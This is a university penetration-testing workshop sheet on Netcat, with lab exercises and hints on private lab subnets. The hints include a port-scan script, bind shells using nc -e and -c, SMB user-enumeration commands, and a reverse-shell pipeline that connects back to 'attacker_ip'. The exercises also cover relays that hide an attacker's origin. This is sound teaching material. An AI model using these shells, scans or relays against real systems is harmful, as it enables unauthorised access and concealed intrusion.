ISEC3002 Penetration Testing and Defence
Workshop 5

The purpose of this workshop is to get you to be familiar with the Netcat (nc) tool.

Exercise 1) Use nc to grab the information of the services running on the Domain Controllers in the 192.168.2.0/24 subnet.

Exercise 2) Write a shell script using nc to allow you to do a port scan of the top 2048 ports and displays only a list of the open ports on the target machine.

Exercise 3) Sometimes we need to put files on the target machines to elevate our privileges or run a local exploit.

i) Use nc to push a file from your machine (Kali) to the Snowhawk.
ii) Does the approach work with binary files?

Exercise 4) One can use the nc listener to spawn a shell when the connection is made to the open port using -e option.

i) Try to get a session started on the Snowhawk machine from the Kali machine.
ii) What do you notice about the Snowhawk netcat command?
iii) How can one address the issue?

Exercise 5) Netcat can be used to relay information from one port on a machine to another port on a different machine. This can be used by attackers, to show that the attack is not coming from them. Use nc commands to:

i) send packets from any connection on the local port (2222) to any connection on remote port (443) of the remote host (e.g.192.168.57.6)
ii) send packets from the connection to a host (e.g. 192.168.57.5) on 4444 to Netcat client connected on the different host (e.g. 192.168.57.6) on 2222.

Exercise 6) By using Netcat can execute command and script on a remote host. Use nc commands to:

i) run a shell command from a remote machine
   - e.g. Remote host:192.168.57.6 and Remote port: 2222, Local host:192.168.57.5

ii) run a script from a remote machine
   - e.g. Remote host:192.168.57.6 and Remote port: 2222, Local host:192.168.57.5

Hints:

nc -v -z -w3 target_ip 1-2048
nc -vn -z -w3 192.168.56.143 1-2048

*////////////////////// **port_scanning_nc.sh** //////////////////////////*
```
#!/bin/bash
broken=0;
function break_script{
        broken=1;}
trap break_script SIGINT;
for (( i = 1; i <= 2048; ++i ))
do
        nc -z -w 1 "$1" "$i" < /dev/null;
        [ $? -eq 0 ] && echo "Open port $i";
        [ $broken -eq 1 ] && break;
done
```
//
chmod u+x   port_scanning_nc.sh
./port_scanning_nc.sh   192.168.57.5
//

nc -l -p 8888 < example.txt (on attacker machine)
netcat 192.168.40.40 (on attacking machine)

nc without -e option
- On the attacker:
  - nc -l -p port1 (this is the one that can issue commands)
  - nc -l -p port2
- From the target:
  - nc attacker_ip port1 | /bin/bash | nc attacker_ip port2

nmblookup -A 192.168.56.150
nbtscan 192.168.56.150
sudo nmap -sU -sS --script smb-enum-users.nse -p U:137,T:139 <host>
nmap -sV --script=ncp-enum-users <target>
nc -l -p <port_number> -c 'echo $(pwd)'
nc -l -p <port_number> -e '/usr/local/bin/my_scrpt'

Reference:

https://materials.rangeforce.com/tutorial/2020/01/30/Enumerating-with-Nmap/
https://shehackske.medium.com/brute-force-password-cracking-with-medusa-b680b4f33d69
https://linuxhint.com/find-hostname-ip-linux/
https://stackoverflow.com/questions/24182950/how-to-get-hostname-from-ip-linux
https://askubuntu.com/questions/205063/command-to-get-the-hostname-of-remote-server-using-ip-address/205067#205067
https://dirask.com/posts/Bash-how-to-scan-open-ports-with-netcat-nc-in-Debian-Linux-vDlNyj
https://medium.com/100-days-of-linux/7-fundamental-use-cases-of-netcat-866364eb1742